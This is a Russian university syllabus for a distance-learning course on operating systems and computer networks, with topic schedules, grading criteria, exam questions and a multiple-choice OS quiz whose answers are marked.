

Федеральное государственное бюджетное образовательное учреждение
высшего образования
«Саратовский государственный технический университет
имени Гагарина Ю.А.»

Кафедра «Автоматизация, управление, мехатроника»

РАБОЧАЯ ПРОГРАММА

по дисциплине

«Б.1.3.11.2. Современные сетевые технологии и операционные системы»

направления подготовки

15.03.04 «Автоматизация технологических процессов и производств»
профиль «Интеллектуальные информационно-управляющие системы»

форма обучения – заочная
курс – 4
семестр – 8
зачетных единиц – 6
часов в неделю – 4
всего часов – 216,
в том числе:
лекции – 10
коллоквиумы – нет
лабораторные занятия – нет
практические занятия – 16
самостоятельная работа – 190
экзамен – 8 семестр
РГР – нет
курсовая работа – нет
курсовой проект – нет

1. Цели и задачи дисциплины

Целью преподавания дисциплины «Современные сетевые технологии и операционные системы» является получение теоретических знаний, практических навыков и компетенций в области работы с различными операционными системами (ОС) и современными средствами создания компьютерных сетей, что является неотъемлемой частью профессиональной деятельности инженера.

Задачи изучения дисциплины:

- формирование представления о роли и значении ОС и сетей
- знакомство с основными принципами работы ОС и сетей
- освоение и получение опыта в использовании современных программных средств, при помощи которых осуществляется функционирование ОС и сетей
- приобретение практических навыков работы с различными ОС
- приобретение навыков создания сетей различного уровня сложности

2. Место дисциплины в структуре ООП ВО

Данная учебная дисциплина относится к вариативной части блока Б1 учебного плана подготовки бакалавра в соответствии с профилем «Автоматизация технологических процессов и производств в машиностроении».

Для изучения дисциплины необходимы компетенции, сформированные в результате изучения дисциплины «Информационные технологии».

Курс «Современные сетевые технологии и операционные системы» содержательно и методологически взаимосвязан с курсами «Интегрированные системы проектирования и управления» и «Автоматизация технологических процессов и производств».

Компетенции, сформированные при изучении данной дисциплины, могут быть полезны при изучении дисциплин «Проектирование автоматизированных систем» и «CASE средства при проектировании систем управления».

3. Требования к результатам освоения дисциплины

Изучение дисциплины направлено на формирование следующих компетенций:

Общепрофессиональных

***ОПК-2** способность решать стандартные задачи профессиональной деятельности на основе информационной и библиографической культуры с применением информационно-коммуникационных технологий и с учетом основных требований информационной безопасности*

Знает: основные типы ОС и основы создания сетей; общие принципы разработки сетей различной сложности.

Умеет: работать с интерфейсом ОС Ms-DOS, Windows и Linux; разрабатывать сетей с различными типами данных.

Владеет: способностью к решению стандартных задач при работе в современных ОС;

ОПК-3 способность использовать современные информационные технологии, технику, прикладные программные средства при решении задач профессиональной деятельности

Знает: составные части и особенности работы ОС Ms-DOS, Windows, Linux; сервисные программные средства ОС; различные программные средства для создания сетей;

Умеет: пользоваться различными сервисными программами в ОС Ms-DOS, Windows, Linux; применять основные программные средства для создания сетей.

Владеет: способностью к выбору оптимальной архитектуры при разработке сетей в конкретных практических задачах; способностью к составлению запросов при помощи различных языков запросов, в частности SQL.

4. Распределение трудоемкости (час.) дисциплины по темам и видам занятий

№ модуля	№ недели	№ темы	Наименование темы	Часы					
				Всего	Лекции	Коллоквиумы	Лабораторные	Практические	СРС
1	2	3	4	5	6	7	8	9	10
2 семестр									
1		1	Введение	26	2				24
2		2	Процессы и нити в ОС. Канальный уровень OSI	26	2				24
3		3	Ввод\вывод в ОС. Подуровень управления доступом к среде	26	2				24
4		4	Управление памятью ОС. Сетевой уровень	26	2				24
			Файловые системы ОС. Транспортный уровень OSI	30					30
			Электронная почта и всемирная паутина, доставка контента	30					30
5		5	ОС Linux	52	2			16	34
Всего				216	10			16	190

5. Содержание лекционного курса

№ темы	Всего часов	№ лекции	Тема лекции. Вопросы, обрабатываемые на лекции	Учебно-методическое обеспечение
1	2	3	4	5
1	2	1	Введение Что такое операционная система. Понятия операционной системы. Системные вызовы. Структура операционной системы. Применение компьютерных сетей. Сетевое оборудование. Сетевое программное обеспечение. Эталонные модели. Примеры сетей	1, 2, 3,16
2	2	2	Процессы и нити в ОС. Канальный уровень OSI Процессы. Межпроцессное взаимодействие. Ключевые аспекты организации канального уровня. Обнаружение и исправление ошибок. Элементарные протоколы передачи данных на канальном уровне. Протоколы скользящего окна	2, 3,16
3	2	3	Ввод\вывод в ОС. Подуровень управления доступом к среде Понятие ввода-вывода. Устройство ввода-вывода. Проблема распределения канала. Протоколы коллективного доступа. Сеть Ethernet. Беспроводные локальные сети	1, 2, 3,16
4	2	4	Управление памятью ОС. Сетевой уровень Страничная память. Менеджер памяти. Вопросы проектирования сетевого уровня. Алгоритмы маршрутизации. Сетевой уровень в Интернете..	3, 5, 6,16
7	2	5	ОС Linux История. Модель. Разработка. NFS. Samba	3, 5, 6,16

6. Содержание коллоквиумов

Не предусмотрены учебным планом

7. Перечень практических занятий

№ темы	Всего часов	№ занятия	Тема практического занятия. Задания, вопросы, обрабатываемые на практическом занятии	Учебно-методическое обеспечение
1	2	3	4	5
7	6	1	Установка ОС Linux. Настройка доступа к сети	1, 2, 3,16
7	6	2-3	NIS, NFS, CUPS	2, 3,16
7	4	4-5	HTTP/FTP. Сетевая безопасность Linux	1, 2, 3,16

8. Перечень лабораторных работ

Не предусмотрены учебным планом

9. Задания для самостоятельной работы студентов

№ темы	Всего Часов	Задания, вопросы, для самостоятельного изучения (задания)	Учебно-методическое обеспечение
1	2	3	4
1	24	Системные вызовы	1, 2, 4,7–15,16
2	24	Взаимоблокировка	2, 4,7–15,16
3	24	Файловая система. Транспортный уровень OSI	1, 2, 4,7–15,16
4-5	54	Шифрование. Электронная почта и всемирная паутина, доставка контента	3, 5, 6,7–15,16
6	30	Несанкционированный доступ	3, 5, 6,7–15,16
7	34	Linux	3, 5, 6,7–15,16

Методические указания по самостоятельному изучению отдельных разделов дисциплины приведены в соответствующем разделе ИОС.

Темы рефератов (выступлений):

1. Особенности построения серверных операционных систем
2. Операционные системы для мейнфреймов фирмы IBM
3. Структура и особенности построения IBM ОС Z/OS
4. Структура и особенности построения IBM ОС i5/OS
5. Структура и особенности построения IBM ОС AIX
6. Архитектура платформы IBM Virtualization Engine
7. Структура и особенности построения IBM OS/400
8. Основные производители операционных систем
9. Операционная система QNX
10. Микроядро операционной системы Mach
11. История развития, назначение и роль компьютерных сетей.
12. Интерфейс между клиентом и сервером.
13. Автоматизированное проектирование.

ТРЕБОВАНИЯ К ОФОРМЛЕНИЮ РЕФЕРАТА.

Реферат подразумевает краткое изложение научной проблемы, результатов научного исследования, содержащихся в одном или нескольких произведениях идей и т. п.

Реферат является научной работой, поскольку содержит в себе элементы научного исследования. В связи с этим к нему должны предъявляться требования по оформлению, как к научной работе. Эти требования регламентируются государственными стандартами, в частности:

- ГОСТ 7.32-2001 «Отчет о научно-исследовательской работе. Структура и правила оформления».
- ГОСТ 7.1-2003 «Библиографическая запись. Библиографическое описание. Общие требования и правила составления».

- ГОСТ 7.80-2000 «Библиографическая запись. Заголовок. Общие требования и правила составления».

- ГОСТ 7.82—2001 «Библиографическая запись. Библиографическое описание электронных ресурсов».

Формат

Реферат должен быть выполнен на одной стороне листа белой бумаги формата А4 (210×297 мм) через полтора интервала. Цвет шрифта должен быть черным. Гарнитура шрифта основного текста — «TimesNewRoman» или аналогичная, кегль (размер) от 12 до 14 пунктов. Размеры полей (не менее): правое — 10 мм, верхнее, нижнее и левое — 20 мм. Формат абзаца: полное выравнивание («по ширине»), отступ — 8–12 мм, одинаковый по всему тексту.

Заголовки разделов и подразделов следует печатать на отдельной строке с прописной буквы без точки в конце, не подчеркивая. Выравнивание по центру или по левому краю. Отбивка: перед заголовком — 12 пунктов, после — 6 пунктов.

Нумерация

Страницы следует нумеровать арабскими цифрами, соблюдая сквозную нумерацию по всему тексту (титульный лист включают в общую нумерацию). Номер страницы проставляют в центре нижней части листа без точки. На титульном листе номер не проставляют.

Титульный лист

В верхней части титульного листа пишется, в какой организации выполняется работа, далее буквами увеличенного кегля указывается тип («Реферат») и тема работы, ниже в правой половине листа — информация, кто выполнил и кто проверяет работу. В центре нижней части титульного листа пишется город и год выполнения.

Библиография

Библиографические ссылки в тексте реферата оформляются в виде номера источника в квадратных скобках.

Библиографическое описание (в списке источников) состоит из следующих элементов:

- основного заглавия;
- обозначения материала, заключенного в квадратные скобки;
- сведений, относящихся к заглавию, отделенных двоеточием;
- сведений об ответственности, отделенных наклонной чертой;
- при ссылке на статью из сборника или периодического издания — сведений о документе, в котором помещена составная часть, отделенных двумя наклонными чертами с пробелами до и после них;
- места издания, отделенного точкой и тире;
- имени издателя, отделенного двоеточием;
- даты издания, отделенной запятой.

10. Расчетно-графическая работа

Не предусмотрена учебным планом

11. Курсовая работа

Не предусмотрена учебным планом

12. Курсовой проект

Не предусмотрен учебным планом

13. Фонд оценочных средств для проведения промежуточной аттестации обучающихся по дисциплине (модулю)

Процедура оценивания знаний, умений и навыков проводится в соответствии со следующими методическими материалами и заключается в проведении устного экзаменационного опроса в виде диалога преподавателя со студентом, цель которого – систематизация и уточнение имеющихся у студента знаний, проверка его индивидуальных возможностей усвоения материала, оценка способности студента применить полученные ранее знания; в проведении модулей и коллоквиумов, как способов межсессионной проверки знаний, умений, навыков студента в середине семестра по пройденным темам изучаемого предмета.

Показателем оценивания степени усвоения является оценка, полученная на экзамене при ответе на вопросы для экзамена. Оценка выставляется по четырехбалльной шкале, соответствующей оценкам «отлично», «хорошо», «удовлетворительно», «неудовлетворительно» и осуществляется путем анализа ответа на вопросы для экзамена. При этом руководствуются следующими критериями.

Оценка	Критерии оценивания результатов обучения (дескрипторы)
Отлично	заслуживает обучающийся, обнаруживший всестороннее, систематическое и глубокое знание учебного материала, предусмотренного программой, усвоивший основную литературу и знакомый с дополнительной литературой, рекомендованной программой.
Хорошо	заслуживает обучающийся, обнаруживший полное знание учебного материала, усвоивший основную литературу, рекомендованную в программе. Оценка "хорошо" выставляется обучающимся, показавшим систематический характер знаний по дисциплине и способным к их самостоятельному пополнению и обновлению в ходе дальнейшей учебной работы и профессиональной деятельности.
Удовлетворительно	заслуживает обучающийся, обнаруживший знания основного учебного материала в объеме, необходимом для дальнейшей учебы и

	предстоящей работы по профессии, знакомых с основной литературой, рекомендованной программой. Оценка выставляется обучающимся, допустившим погрешности в ответе на экзамене и при выполнении экзаменационных заданий, но обладающим необходимыми знаниями для их устранения под руководством преподавателя.
Неудовлетворительно	выставляется обучающемуся, обнаружившему пробелы в знаниях основного учебного материала. Оценка ставится обучающимся, которые не могут продолжить обучение или приступить к профессиональной деятельности по окончании образовательного учреждения без дополнительных занятий по рассматриваемой дисциплине.

Умения и навыки, приобретенные оцениваются по результатам выполнения лабораторных работ, включающих одну или несколько задач (вопросов) в виде краткой формулировки действий (комплекса действий), которые следует выполнить, или описание результата, который нужно получить. Показателем оценивания степени усвоения знаний элементов компетенций, является оценка, полученная при ответе на лабораторных работах. Оценка выставляется по четырехбалльной шкале, соответствующей оценкам «отлично», «хорошо», «удовлетворительно», «неудовлетворительно» и осуществляется путем анализа представленного материала в ответ на практические контрольные задания. При этом руководствуются следующими критериями:

Оценка	Критерии оценивания результатов обучения (дескрипторы)
Отлично	выставляется студенту, если задание выполнено в полном объёме с соблюдением необходимой последовательности. Студенты работают полностью самостоятельно: подбирают необходимые для выполнения предлагаемых работ в задании источники знаний, показывают необходимые для проведения практической работы теоретические знания, практические умения и навыки.
Хорошо	выставляется студенту, если задание выполнено в полном объёме и самостоятельно. Допускаются отклонения от необходимой последовательности выполнения, не влияющие на правильность конечного результата. Студенты используют указанные преподавателем источники знаний, включая

	страницы атласа, таблицы из приложения к учебнику, страницы из справочной литературы по предмету. Задание показывает знание учащихся основного теоретического материала и овладение умениями, необходимыми для самостоятельного выполнения работы. Могут быть неточности и небрежность в оформлении результатов работы.
Удовлетворительно	выставляется студенту, если задание на лабораторную работу выполняется и оформляется студентами при помощи преподавателя или хорошо подготовленных и уже выполненных на «отлично» данную работу студентов. На выполнение задания затрачивается много времени (можно дать возможность доделать работу дома). Студенты показывают знания теоретического материала, но испытывают затруднение при решении конкретной задачи.
Неудовлетворительно	выставляется, если студенты показывают плохое знание теоретического материала и отсутствие умения применить знания к решению практической задачи. Руководство и помощь со стороны преподавателя и хорошо подготовленных студентов неэффективны по причине плохой подготовки студента.

Умения и навыки, приобретенные студентом оцениваются по результатам выполнения практических заданий, включающих одну или несколько задач (вопросов) в виде краткой формулировки действий (комплекса действий), которые следует выполнить, или описание результата, который нужно получить. Показателем оценивания степени усвоения знаний является оценка, полученная при представлении материалов и докладе по выданной теме. Оценка выставляется по четырехбалльной шкале, соответствующей оценкам «отлично», «хорошо», «удовлетворительно», «неудовлетворительно» и осуществляется путем анализа представленного материала в ответ на практические контрольные задания. При этом руководствуются следующими критериями:

Оценка	Критерии оценивания результатов обучения (дескрипторы)
Отлично	Оценка «Отлично» выставляется студенту, если задание выполнено в полном объеме с соблюдением необходимой последовательности. Студенты работают полностью самостоятельно: подбирают необходимые для выполнения предлагаемых работ в

	задании источники знаний, показывают необходимые для проведения практической работы теоретические знания, практические умения и навыки.
Хорошо	Оценка «Хорошо» выставляется студенту, если задание выполнено в полном объёме и самостоятельно. Допускаются отклонения от необходимой последовательности выполнения, не влияющие на правильность конечного результата. Студенты используют указанные преподавателем источники знаний, включая страницы атласа, таблицы из приложения к учебнику, страницы из справочной литературы по предмету. Задание показывает знание учащихся основного теоретического материала и овладение умениями, необходимыми для самостоятельного выполнения работы. Могут быть неточности и небрежность в оформлении результатов работы.
удовлетворительно	Оценка «Удовлетворительно» выставляется студенту, если задание на практическую работа выполняется и оформляется студентами при помощи преподавателя или хорошо подготовленных и уже выполненных на «отлично» данную работу студентов. На выполнение задания затрачивается много времени (можно дать возможность доделать работу дома). Студенты показывают знания теоретического материала, но испытывают затруднение при самостоятельной работе с физическими приборами, графиками, таблицами справочной литературы.
неудовлетворительно	Оценка «Неудовлетворительно» выставляется, если студенты показывают плохое знание теоретического материала и отсутствие умения применить знания к решению практической задачи. Руководство и помощь со стороны преподавателя и хорошо подготовленных студентов неэффективны по причине плохой подготовки студента.

Процедура оценивания знаний, умений, навыков включает учет успешности выполнения лабораторных, практических работ, самостоятельной работы и сдачу экзамена.

Вопросы к экзамену

1. Понятия операционной системы. Процессы. Файлы. Оболочка.
2. Канальный уровень. Протоколы скользящего окна
3. Принципы аппаратуры и программного обеспечения ввода/вывода

4. Архитектура сетей связи. Понятие о модели взаимодействия открытых систем
5. Системные вызовы
6. Канальный уровень. Элементарные протоколы передачи данных на канальном уровне
7. Управление памятью. Виртуальная память
8. Канальный уровень. Элементарные протоколы передачи данных на канальном уровне
9. Структура операционной системы
10. Применение компьютерных сетей. Сети в организациях. Использование сетей частными лицами. Использование беспроводных сетей. Социальный аспект
11. Страничная адресация и сегментация
12. Сетевое оборудование. Персональные сети. Локальные сети. Муниципальные сети. Глобальные сети
13. Процессы. Межпроцессорное взаимодействие
14. Сетевое программное обеспечение. Иерархия протоколов. Разработка уровней. Службы на основе соединений и службы без установления соединений. Примитивы служб. Службы и протоколы
15. Файловая система. Файлы. Каталоги
16. Эталонные модели. Эталонная модель OSI. Эталонная модель TCP/IP. Сравнение эталонных моделей OSI и TCP. Критика модели протоколов OSI. Критика эталонной модели TCP/IP
17. Понятия операционной системы. Процессы. Файлы. Оболочка
18. Канальный уровень. Ключевые аспекты организации канального уровня. Сервисы, предоставляемые сетевому уровню. Формирование кадра. Обработка ошибок. Управление потоком
19. Управление памятью. Виртуальная память
20. Канальный уровень. Обнаружение и исправление ошибок. Коды с исправлением ошибок. Коды с обнаружением ошибок
21. Архитектура сетей связи. Понятие о модели взаимодействия открытых систем
22. Структура операционной системы
23. Принципы аппаратуры и программного обеспечения ввода/вывода
24. Канальный уровень. Протоколы скользящего окна
25. Системные вызовы
26. Канальный уровень. Обнаружение и исправление ошибок. Коды с исправлением ошибок. Коды с обнаружением ошибок
27. Применение компьютерных сетей. Сети в организациях. Использование сетей частными лицами. Использование беспроводных сетей. Социальный аспект
28. Страничная адресация и сегментация
29. Сетевое оборудование. Персональные сети. Локальные сети. Муниципальные сети. Глобальные сети

30. Процессы. Межпроцессорное взаимодействие
31. Сетевое программное обеспечение. Иерархия протоколов. Разработка уровней. Службы на основе соединений и службы без установления соединений. Примитивы служб. Службы и протоколы
32. Принципы аппаратуры и программного обеспечения ввода/вывода
33. Эталонные модели. Эталонная модель OSI. Эталонная модель TCP/IP. Сравнение эталонных моделей OSI и TCP. Критика модели протоколов OSI. Критика эталонной модели TCP/IP
34. Понятия операционной системы. Процессы. Файлы. Оболочка
35. Канальный уровень. Ключевые аспекты организации канального уровня. Сервисы, предоставляемые сетевому уровню. Формирование кадра. Обработка ошибок. Управление потоком
36. Файловая система. Файлы. Каталоги
37. Канальный уровень. Обнаружение и исправление ошибок. Коды с исправлением ошибок. Коды с обнаружением ошибок
38. Структура операционной системы
39. Канальный уровень. Элементарные протоколы передачи данных на канальном уровне
40. Управление памятью. Виртуальная память
41. Канальный уровень. Протоколы скользящего окна
42. Понятия операционной системы. Процессы. Файлы. Оболочка

Тестовые задания по дисциплине Блок Операционные системы

ЗАДАНИЕ N 1 *Назначение и функции операционных систем*

Для сетевых операционных систем характерной является функция обеспечения ...

- | | |
|--|--|
| 1) прямого доступа к оперативной памяти другого компьютера | 2) <i>взаимодействия связанных между собой компьютеров</i> |
| 3) обмена сигналами между выполняющимися на разных компьютерах программами | 4) программных каналов между разными компьютерами |

ЗАДАНИЕ N 2 *Операционная среда*

Одна операционная система может поддерживать несколько ...

- | | |
|----------------------------|-----------------------------|
| 1) микропрограммных сред | 2) операционных систем |
| 3) микропрограммных систем | 4) <i>операционных сред</i> |

Операционная система выполняет функции управления вычислительными процессами в вычислительной системе, распределяет ресурсы вычислительной системы между различными вычислительными процессами и образует программную среду, в которой выполняются

прикладные программы пользователя. Такая среда называется операционной. Параллельное существование терминов “операционная система” и “операционная среда” вызвано тем, что операционная система может поддерживать несколько операционных сред.

ЗАДАНИЕ N 3 Прерывания

Термин "маскирование" означает запрет отдельных ...

- | | |
|-------------------------------|------------------------|
| 1) <i>сигналов прерывания</i> | 2) команд пользователя |
| 3) процессов пользователя | 4) команд процессора |

ЗАДАНИЕ N 4 Процессы и потоки

Для реализации синхронизации на уровне языка программирования используются высокоуровневые примитивы, названные ...

- | | |
|------------------|----------------------|
| 1) супервизорами | 2) <i>мониторами</i> |
| 3) маркерами | 4) семафорами |

Монитор (по Ч. Хоару) – высокоуровневая конструкция для синхронизации: многовходовый модуль, содержащий описание общих данных и операций над ними в виде процедур. Обеспечивается взаимное исключение исполнения мониторных операций. Монитор может также содержать условные переменные, для которых определены операции wait и signal для организации дополнительных очередей процессов. Рассмотрено решение задачи "обедающие философы" с использованием монитора. Описана реализация монитора и условных переменных с помощью семафоров.

ЗАДАНИЕ N 5 Файлы и файловые системы

Относительный путь к файлу состоит из списка каталогов, которые нужно ...

- | | |
|---|---|
| 1) <i>пройти от рабочего каталога, чтобы добраться до файла</i> | 2) открыть в корневом процессе, чтобы добраться до файла |
| 3) добавить в переменную PATH операционной среды | 4) пройти от корневого каталога, чтобы добраться до файла |

ЗАДАНИЕ N 6 Память

Свопингом сегментов называется перемещение ...

- | | |
|---|---|
| 1) блоков файла между каталогами файловой системы | 2) блоков данных между процессом и ядром операционной системы |
|---|---|

3) сегментов данных между стеком и оперативной памятью

4) *сегментов между оперативной и внешней памятью*

ЗАДАНИЕ N 7 Пользователи

Идентификатор пользователя представляет собой уникальное _____ значение

1) составное

2) символьное

3) вещественное

4) *целое*

ЗАДАНИЕ N 8 Режимы работы

Мультитерминальный режим работы предполагает совмещение ...

1) привилегированного режима работы и режима пользователя

2) многопроцессорного режима работы и режима ввода-вывода

3) *диалогового режима работы и режима мультипрограммирования*

4) аналогового режима работы и режима микропрограммирования

ЗАДАНИЕ N 9 Концепция процесса

Последовательная трансляция двух исходных программ является ...

1) одним последовательным процессом

2) двумя одинаковыми процессами

3) *двумя разными процессами*

4) одной последовательной задачей

ЗАДАНИЕ N 10 Идентификатор, дескриптор и контекст процесса

Идентификатор процесса является частью _____ процесса.

1) ~~контекста~~

2) Типа

3) *дескриптора !!!*

4) *Описателя*

ЗАДАНИЕ N 11 Иерархия процессов

В OS UNIX каждый новый процесс может быть образован (порожден) только ...

- | | |
|--|---|
| 1) двумя из существующих процессов | 2) несколькими родительскими процессами |
| 3) четным количеством родительских процессов | 4) <i>одним из существующих процессов</i> |
-

ЗАДАНИЕ N 12 *Диспетчеризация процессов* (- выберите один вариант ответа)

Основное различие между долгосрочным и краткосрочным планированием (диспетчеризацией) заключается в ...

- | | |
|----------------------------|------------------------------|
| 1) длительности выполнения | 2) очередности выполнения |
| 3) скорости выполнения | 4) <i>частоте выполнения</i> |

Планирование заданий используется в качестве долгосрочного планирования процессов. Оно отвечает за порождение новых процессов в системе, определяя ее степень мультипрограммирования, т. е. количество процессов, одновременно находящихся в ней. Если степень мультипрограммирования системы поддерживается постоянной, т. е. среднее количество процессов в компьютере не меняется, то новые процессы могут появляться только после завершения ранее загруженных. Поэтому долгосрочное планирование осуществляется достаточно редко.

ЗАДАНИЕ N 13 *Понятия приоритета и очереди процессов*

Приоритет, меняющийся во время исполнения процесса, называется _____ приоритетом.

- | | |
|------------------|------------------------|
| 1) фиксированным | 2) Циклическим |
| 3) статическим | 4) <i>Динамическим</i> |
-

ЗАДАНИЕ N 14 *Синхронизация процессов*

При совместном использовании процессами аппаратных и информационных ресурсов вычислительной системы возникает потребность в ...

- | | |
|----------------|-------------------------|
| 1) адаптации | 2) <i>Синхронизации</i> |
| 3) оптимизации | 4) Буферизации |
-

ЗАДАНИЕ N 15 *Средства обработки сигналов*

В операционной системе UNIX сигналы можно рассматривать как простейшую форму взаимодействия между ...

- 1) процессами
 - 2) процессорами
 - 3) сегментами
 - 4) каналами
-

ЗАДАНИЕ N 16 Понятие событийного программирования ????? (- выберите несколько вариантов ответа) Область эффективного применения событийного программирования начинается там, где возникают ...

- 1) **трудности декомпозиции решаемой задачи, при которой генерация и обработка рассматриваются как объединенные процессы**
- 2) возможности декомпозиции решаемой задачи, при которой генерация и обработка рассматриваются как объединенные процессы
- 3) необходимость использования графа перехода между состояниями
- 4) **неудобство использования графа переходов между состояниями**

ЗАДАНИЕ N 17 Средства коммуникации процессов
Два параллельных процесса могут быть ...

- 1) Взаимоисключающими
 - 2) **независимыми**
 - 3) Критическими
 - 4) коммутационными
-

ЗАДАНИЕ N 18 Способы реализации мультипрограммирования
Главной целью мультипрограммирования в системах пакетной обработки является ...

- 1) обеспечение удобства работы пользователей
 - 2) **минимизация простоев всех устройств компьютера**
 - 3) минимизация времени выполнения одной задачи
 - 4) обеспечение реактивности системы
-

ЗАДАНИЕ N 19 Организация памяти. Адресное пространство
Учет участков свободной памяти с помощью связного списка свободных/занятых блоков позволяет ...

- 1) находить в памяти наиболее долго
- 2) **выделять участки памяти**

занятые участки

произвольных размеров

- 3) освободить память, занятую неактивными процессами
- 4) перемещать процессы в памяти
-

ЗАДАНИЕ N 20 *Методы управления памятью*

Использование виртуальной памяти в однопрограммном режиме приводит к ... процесса, если размер программы существенно больше объема доступной оперативной памяти

- 1) аварийному завершению
- 2) Ускорению
- 3) *замедлению выполнения*
- 4) перезапуску
-

ЗАДАНИЕ N 21 *Принципы организации виртуальной памяти*

Виртуальная память позволяет ...

- 1) отказаться от предоставления прикладным процессам оперативной памяти
- 2) *загружать множество небольших программ, суммарный объем которых больше объема физической памяти*
- 3) *загружать программы, размер которых превышает объем доступной физической памяти*
- 4) загружать программы, скомпилированные для другого процессора
-

ЗАДАНИЕ N 22 *Сегментная организация памяти*

Сегментная организация памяти ... отдельно скомпилированных процедур.

- 1) состоит из
- 2) *упрощает компоновку*
- 3) невозможна без
- 4) усложняет компоновку

Помимо простоты управления увеличивающимися или сокращающимися структурами данных, сегментированная память обладает и другими преимуществами.

К ним относятся: простота компоновки отдельно скомпилированных процедур (обращение к начальной точке процедуры осуществляется адресом вида $(n,0)$, где n – номер сегмента);

ЗАДАНИЕ N 23 *Страничная организация памяти*

При страничной организации памяти таблица страниц может размещаться в ...

- 1) только в оперативной памяти
- 2) в оперативной памяти и на диске

3) только в процессоре

4) ***В специальной быстрой памяти процессора и в оперативной памяти***

ЗАДАНИЕ N 24 *Ускорение работы страничной памяти*

Страничная организация предназначена для ...

1) облегчения совместного использования процедур, библиотек и массивов данных

2) повышения уровня защиты программ и данных

3) ***получения большого адресного пространства без приобретения дополнительной физической памяти***

4) логического разделения программ и данных

ЗАДАНИЕ N 25 *Принципы замещения страниц* При страничном сбое и отсутствии свободных блоков физической памяти операционная система должна ...

1) выбрать страницу-кандидат на удаление из памяти и сохранить удаляемую страницу на диске

2) ***выбрать страницу-кандидат на удаление из памяти и сохранить удаляемую страницу на диске, если она претерпела изменения***

3) выбрать страницу, которая не изменялась, и сохранить удаляемую страницу на диске

4) выбрать страницу-кандидат на удаление из памяти и сохранить копию удаляемой страницы в таблице страниц

ЗАДАНИЕ N 26 *Алгоритмы замещения страниц*

Полная реализация алгоритма LRU (Least Recently Used) ...

1) теоретически невозможна

2) возможна при использовании стековой организации таблицы страниц

3) возможна при условии построения таблицы страниц в виде бинарных деревьев

4) ***практически невозможна***

LRU - хороший, но труднореализуемый алгоритм. Необходимо иметь связанный список всех страниц в памяти, в начале которого будут храниться недавно использованные страницы. Причем этот список должен обновляться при каждом обращении к памяти. Много времени нужно и на поиск страниц в таком списке.

ЗАДАНИЕ N 27 *Прерывания от внешних устройств*

Запросы на ввод-вывод от супервизора задач или от программных модулей самой операционной системы получает _____ ввода-вывода.

- | | |
|----------------------|--------------|
| 1) контроллер | 2) диспетчер |
| 3) супервизор | 4) процессор |

супервизор ввода-вывода получает запросы на ввод-вывод от супервизора задач или от программных модулей самой операционной системы

ЗАДАНИЕ N 28 *Классификация устройств ввода-вывода*

Мыши (в качестве устройства-указателя) относятся к _____ устройствам ввода-вывода.

- | | |
|--------------------|----------------------|
| 1) позиционируемым | 2) символьным |
| 3) адресуемым | 4) Блочным |

Другой тип устройств ввода-вывода — символьные устройства. Они выдают или воспринимают поток символов, не относящийся ни к какой блочной структуре. Они не являются адресуемыми и не имеют никакой операции позиционирования. В качестве символьных устройств могут рассматриваться принтеры, сетевые интерфейсы, мыши (в качестве устройства-указателя)

ЗАДАНИЕ N 29 *Основные принципы организации ввода-вывода*

Любые операции по управлению вводом-выводом объявляются ...

- | | |
|------------------------------|-------------------|
| 1) привилегированными | 2) Универсальными |
| 3) приоритетными | 4) Уникальными |
-

ЗАДАНИЕ N 30 *Функции супервизора ввода-вывода*

Супервизор ввода-вывода инициирует операции ввода-вывода и в случае управления вводом-выводом с использованием прерываний предоставляет процессор ...

- | | |
|---------------------------|----------------------------|
| 1) супервизору прерываний | 2) диспетчеру задач |
| 3) задаче пользователя | 4) супервизору программ |
-

ЗАДАНИЕ N 31 *Режимы управления вводом-выводом*

В режиме обмена с опросом готовности устройства ввода-вывода используется _____ центрального процессора.

- | | |
|-------------------------------|-------------------------|
| 1) рационально время | 2) нерационально память |
| 3) <i>нерационально время</i> | 4) рационально память |
-

ЗАДАНИЕ N 32 *Закрепление устройств, общие устройства ввода-вывода*

Понятия «виртуального устройства» по отношению к понятию «спулинга» ...

- | | |
|--|------------------------------------|
| 1) считается как часть и целое??? | 2) <i>является более широким!!</i> |
| 3) является более узким | 4) Тождественно |
-

ЗАДАНИЕ N 33 *Основные системные таблицы ввода-вывода*

Каждый элемент таблицы оборудования условно называется ...

- | | |
|------------------|--------|
| 1) <i>UCB!!!</i> | 2) USB |
| 3) DCB | 4) DRT |

Каждая ОС имеет свои таблицы ввода/вывода, их состав (количество и назначение каждой таблицы) может сильно отличаться. Первая таблица содержит информацию обо всех устройствах ввода/вывода, подключенных к вычислительной системе, - таблица оборудования (equipment table), а каждый элемент этой таблицы называется UCB (unit control block, блок управления устройством ввода/вывода). Вторая таблица предназначена для реализации принципа виртуализации устройств ввода/вывода – независимости от устройства. Действительное устройство, которое сопоставляется виртуальному (логическому), выбирается супервизором с помощью таблицы описания виртуальных логических устройств (DRT, device reference table). Назначение этой второй таблицы – установление связи между виртуальными (логическими) устройствами и реальными устройствами, описанными посредством первой таблицы оборудования.

ЗАДАНИЕ N 34 *Синхронный и асинхронный ввод-вывод*

Для увеличения скорости выполнения приложений при необходимости предлагается использовать _____ ввод-вывод.

- | | |
|-----------------------|-----------------|
| 1) <i>асинхронный</i> | 2) приоритетный |
| 3) автоматический | 4) синхронный |
-

ЗАДАНИЕ N 35 *Организация внешней памяти на магнитных дисках*

Программа, расположенная в главной загрузочной записи, называется _____
загрузчиком.

- | | |
|--------------|------------------------|
| 1) системным | 2) Внесистемным |
| 3) начальным | 4) Локальным |

На жестком диске по физическому адресу 0-0-1 располагается главная загрузочная запись (master boot record, MBR). В состав MBR входят:

- внесистемный загрузчик (non-system bootstrap - NSB);
 - таблица описания разделов диска (таблица разделов, partition table, PT).
-

ЗАДАНИЕ N 36 *Кэширование операций ввода-вывода при работе с накопителями на магнитных дисках*

Простейшим вариантом ускорения дисковых операций чтения данных можно считать использование двойной ...

- | | |
|--------------------|-----------------------|
| 1) Кластеризации | 2) буферизации |
| 3) Диспетчеризации | 4) приоритезации |
-

ЗАДАНИЕ N 37 *Принципы построения ОС*

Операционная система реального времени должна обеспечивать ...

- | | |
|-----------------------------|------------------------------------|
| 1) делегирование полномочий | 2) наследование приоритетов |
| 3) пакетную обработку | 4) клонирование пользователей |

Требования, предъявляемые к среде исполнения систем реального времени, следующие:

- ядро с приоритетом на обслуживание прерывания. Приоритет на прерывание означает, что готовый к запуску процесс, обладающий некоторым приоритетом, обязательно имеет преимущество в очереди по отношению к процессу с более низким приоритетом, быстро заменяет последний и поступает на выполнение. Ядро заканчивает любую сервисную работу, как только поступает задача с высшим приоритетом.

- диспетчер с приоритетом - дает возможность разработчику прикладной программы присвоить каждому загрузочному модулю приоритет, неподвластный системе. Присвоение приоритетов используется для определения очередности запуска программ, готовых к исполнению.

